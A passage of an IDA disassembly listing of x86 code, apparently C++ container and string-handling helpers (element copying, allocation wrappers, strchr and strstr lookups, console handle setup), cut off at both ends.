		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097AB:				; CODE XREF: sub_4096E0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409809
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409809:				; CODE XREF: sub_4096E0+D8j
		test	edi, edi
		jbe	short loc_409843
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409843:				; CODE XREF: sub_4096E0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098D0


loc_4098C1:				; CODE XREF: sub_4098B0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098C1


loc_4098D0:				; CODE XREF: sub_4098B0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098F0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409962
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409946:				; CODE XREF: sub_409930+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409946
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_409930+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4099A7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409996:				; CODE XREF: sub_409980+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409996
		pop	esi
		pop	ebx


loc_4099A7:				; CODE XREF: sub_409980+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099C0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A20	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A3D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A31:				; CODE XREF: sub_409A20+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A31
		pop	esi

locret_409A3D:				; CODE XREF: sub_409A20+Aj
		retn
sub_409A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A72
		mov	eax, [esp+arg_8]
		push	esi


loc_409A61:				; CODE XREF: sub_409A50+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A61
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A72:				; CODE XREF: sub_409A50+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409ABA
		xor	eax, eax


loc_409ABA:				; CODE XREF: sub_409AB0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AFB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AFB:				; CODE XREF: sub_409AE0+11j
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B10	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B46
		push	edi
		nop
		call	near ptr 2841939h
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B46:				; CODE XREF: sub_409B10+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B9F
		nop
		call	near ptr 2850000h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B9F:				; CODE XREF: sub_409B80+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BF0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409C08
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C08:				; CODE XREF: ___:00409BFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C60	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CA0	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		nop
		call	sub_5FADE9
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409CA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D2C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2C:				; CODE XREF: sub_409D10+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D3F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3F:				; CODE XREF: sub_409D10+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D60	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DCA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D8A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D8A:				; CODE XREF: sub_409D60+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0C9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: sub_409D60+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E00	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E80	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409F0F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409F0F:				; CODE XREF: sub_409E80+84j
		mov	[ebx+9], ebp


loc_409F12:				; CODE XREF: sub_409E80+Cj
					; sub_409E80+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F50	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FE7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409FD0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FEB:				; CODE XREF: sub_409FD0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		test	cl, cl
		jz	short loc_40A00F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FEB


loc_40A00F:				; CODE XREF: sub_409FD0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409FD0+23j
					; sub_409FD0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A070	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A083
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_40A070+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_40A070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0E0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0F3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0F3:				; CODE XREF: sub_40A0E0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A152
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A152:				; CODE XREF: sub_40A110+13j
		add	esp, 2000h
		retn
sub_40A110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1C4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1C4:				; CODE XREF: sub_40A1A0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A240	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A240	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A275
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A275:				; CODE XREF: sub_40A260+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A28F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A28F:				; CODE XREF: sub_40A260+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2E3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2E3:				; CODE XREF: sub_40A2D0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2F6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2F6:				; CODE XREF: sub_40A2D0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A350	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A350	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3C2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A370+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A370	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
